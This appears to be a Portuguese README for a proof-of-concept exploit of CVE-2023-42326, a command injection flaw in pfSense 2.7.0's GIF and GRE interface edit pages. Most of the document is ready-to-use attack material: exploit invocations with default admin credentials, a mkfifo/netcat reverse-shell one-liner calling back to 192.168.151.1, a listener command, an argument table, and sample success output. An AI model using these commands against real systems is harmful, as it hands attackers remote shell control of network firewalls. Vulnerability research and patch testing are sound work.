
Este é um POC simples para demonstrar a vulnerabilidade de injeção de comandos no pfsense 2.7 (CVE-2023-42326)
Este script em Python é um exploit de prova de conceito (PoC) para a vulnerabilidade de injeção de comandos (CVE-2023-42326) no pfSense 2.7.0. A vulnerabilidade permite que atacantes autenticados injetem e executem comandos arbitrários por meio dos componentes interfaces_gif_edit.php e interfaces_gre_edit.php.
gif ou gre) para escolher os componentes vulneráveis.Antes de executar o script, certifique-se de que você tem:
pip install requests beautifulsoup4 rich
Este comando injeta um comando shell que cria um reverse shell de volta para sua máquina:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &"
-u: Nome de usuário para o login de administrador do pfSense.-p: Senha para o login de administrador do pfSense.--mode: Modo de exploit (gif ou gre).-t: URL de destino do pfSense.-c: O comando shell a ser injetado.-d: (Opcional) Ativa o modo de depuração para ver os dados brutos da resposta.Certifique-se de ter um listener Netcat em execução na sua máquina:
nc -lvnp 80
Em seguida, execute o script com um comando de reverse shell como este:
python3 exploit.py -u "admin" -p "pfsense" --mode "gif" -t "http://10.101.1.1" -c "rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.151.1 80 > /tmp/f &" --insecure(for https without valid ssl)
Fazendo login no pfSense e explorando a interface GIF

Executando um Reverse Shell

Quando o exploit é executado com sucesso, você deve ver uma saída semelhante a esta:
██████╗ ███████╗██████╗ ██╗ ██╗███╗ ██╗███╗ ███╗███████╗
██╔══██╗██╔════╝██╔══██╗██║ ██║████╗ ██║████╗ ████║██╔════╝
██████╔╝█████╗ ██████╔╝██║ █╗ ██║██╔██╗ ██║██╔████╔██║█████╗
██╔═══╝ ██╔══╝ ██╔═══╝ ██║███╗██║██║╚██╗██║██║╚██╔╝██║██╔══╝
██║ ██║ ██║ ╚███╔███╔╝██║ ╚████║██║ ╚═╝ ██║███████╗
╚═╝ ╚═╝ ╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═╝ ╚═╝╚══════╝
Done with ❤️ by @bl4ckarch
[2024-10-24 03:57:59] [SUCCESS] Target http://10.101.1.1 is reachable
[2024-10-24 03:57:59] [INFO] Fetching CSRF token from: http://10.101.1.1/
[2024-10-24 03:57:59] [SUCCESS] CSRF token extracted successfully
[2024-10-24 03:57:59] [INFO] Sending GIF exploit request to http://10.101.1.1/interfaces_gif_edit.php
[2024-10-24 03:57:59] [SUCCESS] GIF Exploit sent successfully
Se você quiser ver mais detalhes sobre as requisições enviadas, pode ativar o modo de depuração adicionando -d ao seu comando. Isso exibirá os dados da resposta e ajudará você a solucionar quaisquer problemas.
python3 exploit.py -u "admin" -p 'pfsense' --mode 'gif' -t http://10.101.1.1 -c "your_command_here" -d --insecure(for https without valid ssl)
-d para um registro mais detalhado, se necessário.| Argument | Descrição |
|---|
-u | Nome de usuário para o login de administrador do pfSense. |
-p | Senha para o login de administrador do pfSense. |
-t | URL/IP de destino do pfSense (ex.: http://10.101.1.1). |
--mode | Modo de exploit: gif (para interfaces_gif_edit.php) ou gre. |
-c | Comando a ser injetado no componente vulnerável. |
-d | Opcional. Ativa o modo de depuração para exibir os dados da resposta. |